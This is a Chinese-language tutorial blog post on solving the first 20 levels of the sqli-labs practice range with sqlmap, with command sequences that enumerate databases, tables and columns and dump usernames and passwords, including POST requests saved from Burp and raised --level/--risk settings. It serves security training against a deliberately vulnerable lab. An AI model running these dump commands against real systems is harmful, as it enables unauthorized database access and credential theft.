用sqlmap工具打sqli-labs前20关靶场
这个星期我们用手动注入打了前20关靶场，今天我们用sqlmap直接梭哈前20关
1.介绍sqlmap
sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL和SQL注入漏洞。
2.下载和使用sqlmap
官方下载地址：GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
下载压缩包，之后解压
那怎么使用呢？？？
打开sqlmap被解压到的地方，我解压到了F盘
直接在红色筐子里输入cmd，即可打开窗口使用sqlmap
3.sqlmap基本语法
sqlmap是由python写成
使用方法：python sqlmap.py -参数
常用用法
1.-h
-h是显示基本用法
语法：python sqlmap.py -h
2. -u
-u是基础参数，后面跟需要测试的URL，常用于GET类型的注入
语法：python sqlmap.py -u "URL"
3.--batch
--batch是，可以在所有需要用户手动输入的的部分（通常是询问执行yes还是no【样子是[Y/n]】），执行默认操作，不需要用户再输入
语法：python sqlmap.py -u "URL" --batch
4.--level 等级
--level是，测试等级，等级越高，测试越复杂，共有五级，当默认集数测试不出来时。可以提高等级。
语法：python sqlmap.py -u "URL" --level
其余我们在做中介绍。
4.解题
Less-1——Less-10（GET类型）
前十关解法相同，以第一关为例
1.库名 --dbs 查询库名
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -dbs
2.表名 -D 表名 --tables 查询表名
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security --tables
3.列名 -D 表名 -T 列名 --columns 查询列名
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users --columns
4.字段 -D 表名 -T 列名 -C 字段 --dump 查询字段
python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users -C username,password --dump
要是这几关有的查询不出来，记得还有--level 等级，等级提升这一操作
Less-11——Less-17（POST基础注入）
从11关开始就需要bp抓包啦
创建一个文本文档在sqlmap文件夹中，将POST报文保存在文本文档中！
-r 代表文档
语法：python sqlmap.py -r 文本文档
1.库名
python sqlmap.py -r 11.txt --batch -dbs
2.表名
python sqlmap.py -r 11.txt --batch -D security --tables
3.列名
python sqlmap.py -r 11.txt --batch -D security -T users --columns
4.字段
python sqlmap.py -r 11.txt --batch -D security -T users -C username,password --dump
Less15-17这几关sqlmap跑的特别慢，大家耐心等待，17关记得输入一个用户名再抓包！
Less18——Less20
这几关会发现爆表爆不出来
提示让用--level --risk 前面介绍 level了，那什么是risk呢？
“risk”参数用于控制攻击的深度，数值越高，攻击的幅度越大，但也会增加攻击被发现的风险；
//库名
python sqlmap.py -r 18.txt --batch -dbs --level=3 --risk=3
之后操作也是一样的！！！
工具注入还是十分方便，但是还是得熟练手工注入！！！！